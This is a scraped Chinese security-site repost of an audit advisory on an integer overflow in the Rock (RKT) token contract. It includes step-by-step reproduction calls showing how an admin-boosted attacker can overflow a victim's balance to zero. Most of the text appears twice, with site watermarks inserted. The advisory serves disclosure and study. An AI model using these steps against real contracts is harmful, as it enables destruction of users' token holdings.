欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

直布罗陀区块链交易所RKT存在上溢漏洞

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助


一、背景介绍
Rock (RKT)是由直布罗陀区块链交易所发布的代币,旨在支持GBX的运作和金融服务以及金融科技生态系统。
近期BUGX.IO安全团队在审计过程中发现 Rock (RKT) 合约存在可以上溢的漏洞,通过此上溢漏洞,合约管理员 masterContractAddress 可以利用此漏洞,恶意销毁个人的 token。
该漏洞并非严格意义上的严重漏洞,此类属于管理员权限过大而能遭成个人通证被恶意销毁。开发者注释了原本的检查条件,造成了此漏洞,同时审计人员在审计过程中容易忽略此处问题。
二、漏洞说明
观察`transfer`和`transferFrom`函数,`balances[_to] += _value;` 没有做条件判断可以上溢,因此攻击者可以故意使 `balances[_to]` 上溢,变为极小值,但因为 `totalSupply = totalSupply.add(_balances[i]);` 做了限制,所以没有办法在一开始就让他们总和大于 uint256 ,但可以使用 convertTokens 增加,而 `convertTokens` 需要官方人员才可以执行。
执行条件:
1.由于总 token 余额 受到totalSupply 限制,只有合约 masterContractAddress 才有权限突破此限制。
2.需要攻击者的 `balances[attacker]+ balances[vitim] >= uint256`才能使用攻击成功。
攻击场景:
1.官方故意让 vitim 用户的余额上溢,变为极小值。
2.攻击者让官方为其增加余额,然后攻击者实施攻击,让 vitim 用户余额上溢。
攻击流程:
某正常用户拥有一定数量的 token ,设为 token1
masterContractAddress 使用 convertTokens 为攻击者余额增加 token2 (当 token1 + token2 >= uint256 时即可实施攻击)
1.使用 transfer 上溢
attacker transfer 攻击 vitim 使其额度变为极小值。
2.使用 transferFrom上溢
attacker approve 使自己有转账额度。
attacker transferFrom 攻击 vitim 使其额度变为极小值。
三、复现过程
这里复现过程把将 vitim 用户 token 初始化为 2**256 - 50 而攻击者 token 为 50,两者加起可以溢出。
1.transfer 上溢
owner:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
masterContractAddress:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
vitim:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
attacker:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
owner部署合约:
执行 deploy:
“0xdd870fa1b7c4700f2bd7f44238821c26f7392148″,["0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"],["115792089237316195423570985008687907853269984665640564039457584007913129639886"]
执行 convertTokens:
“50″,”0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”
执行 enableTransfers ,使能交易,
执行 balanceOf 查看此时两个地址的 balances :
0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db 地址:
115792089237316195423570985008687907853269984665640564039457584007913129639886
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 地址:50

切换到 attacker 执行攻击:
执行 transfer :
“0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db”,50
执行 balanceOf 查看被balances :

发现已经上溢变为 0。
2.transferFrom 上溢
owner:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
masterContractAddress:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
vitim:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
attacker:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
owner部署合约:
执行 deploy:
“0xdd870fa1b7c4700f2bd7f44238821c26f7392148″,["0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"],["115792089237316195423570985008687907853269984665640564039457584007913129639886"]
执行 convertTokens:
“50″,”0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”
执行 enableTransfers ,使能交易。
执行 balanceOf 查看此时两个地址的 balances :
0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db 地址:
115792089237316195423570985008687907853269984665640564039457584007913129639886

0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 地址:50

切换到 attacker 执行攻击:
执行 approve:
“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,50
执行 allowance:
“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,”0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”

执行 transferFrom :
“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,”0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db”,50

[1] [2]  下一页


一、背景介绍
Rock (RKT)是由直布罗陀区块链交易所发布的代币,旨在支持GBX的运作和金融服务以及金融科技生态系统。
近期BUGX.IO安全团队在审计过程中发现 Rock (RKT) 合约存在可以上溢的漏洞,通过此上溢漏洞,合约管理员 masterContractAddress 可以利用此漏洞,恶意销毁个人的 token。
该漏洞并非严格意义上的严重漏洞,此类属于管理员权限过大而能遭成个人通证被恶意销毁。开发者注释了原本的检查条件,造成了此漏洞,同时审计人员在审计过程中容易忽略此处问题。
二、漏洞说明
观察`transfer`和`transferFrom`函数,`balances[_to] += _value;` 没有做条件判断可以上溢,因此攻击者可以故意使 `balances[_to]` 上溢,变为极小值,但因为 `totalSupply = totalSupply.add(_balances[i]);` 做了限制,所以没有办法在一开始就让他们总和大于 uint256 ,但可以使用 convertTokens 增加,而 `convertTokens` 需要官方人员才可以执行。 内容来自无奈安全网
执行条件:
1.由于总 token 余额 受到totalSupply 限制,只有合约 masterContractAddress 才有权限突破此限制。
2.需要攻击者的 `balances[attacker]+ balances[vitim] >= uint256`才能使用攻击成功。
攻击场景:
1.官方故意让 vitim 用户的余额上溢,变为极小值。
2.攻击者让官方为其增加余额,然后攻击者实施攻击,让 vitim 用户余额上溢。
攻击流程:
某正常用户拥有一定数量的 token ,设为 token1
masterContractAddress 使用 convertTokens 为攻击者余额增加 token2 (当 token1 + token2 >= uint256 时即可实施攻击)
1.使用 transfer 上溢
attacker transfer 攻击 vitim 使其额度变为极小值。
2.使用 transferFrom上溢
attacker approve 使自己有转账额度。
attacker transferFrom 攻击 vitim 使其额度变为极小值。
三、复现过程
这里复现过程把将 vitim 用户 token 初始化为 2**256 - 50 而攻击者 token 为 50,两者加起可以溢出。
1.transfer 上溢
owner:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
masterContractAddress:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
vitim:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db 本文来自无奈人生安全网
attacker:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
owner部署合约:
执行 deploy:
“0xdd870fa1b7c4700f2bd7f44238821c26f7392148″,["0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"],["115792089237316195423570985008687907853269984665640564039457584007913129639886"]
执行 convertTokens:
“50″,”0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”
执行 enableTransfers ,使能交易,
执行 balanceOf 查看此时两个地址的 balances :
0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db 地址:
115792089237316195423570985008687907853269984665640564039457584007913129639886
0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 地址:50

切换到 attacker 执行攻击:
执行 transfer :
“0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db”,50
执行 balanceOf 查看被balances : copyright 无奈人生

发现已经上溢变为 0。
2.transferFrom 上溢
owner:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
masterContractAddress:0xdd870fa1b7c4700f2bd7f44238821c26f7392148
vitim:0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db
attacker:0x14723a09acff6d2a60dcdf7aa4aff308fddc160c
owner部署合约:
执行 deploy:
“0xdd870fa1b7c4700f2bd7f44238821c26f7392148″,["0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db"],["115792089237316195423570985008687907853269984665640564039457584007913129639886"]
执行 convertTokens:
“50″,”0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”
执行 enableTransfers ,使能交易。
执行 balanceOf 查看此时两个地址的 balances :
0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db 地址:
115792089237316195423570985008687907853269984665640564039457584007913129639886

www.wnhack.com



0x14723a09acff6d2a60dcdf7aa4aff308fddc160c 地址:50

切换到 attacker 执行攻击:
执行 approve:
“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,50
执行 allowance:
“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,”0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”

执行 transferFrom :
“0x14723a09acff6d2a60dcdf7aa4aff308fddc160c”,”0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db”,50
内容来自无奈安全网

[1] [2]  下一页 本文来自无奈人生安全网

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。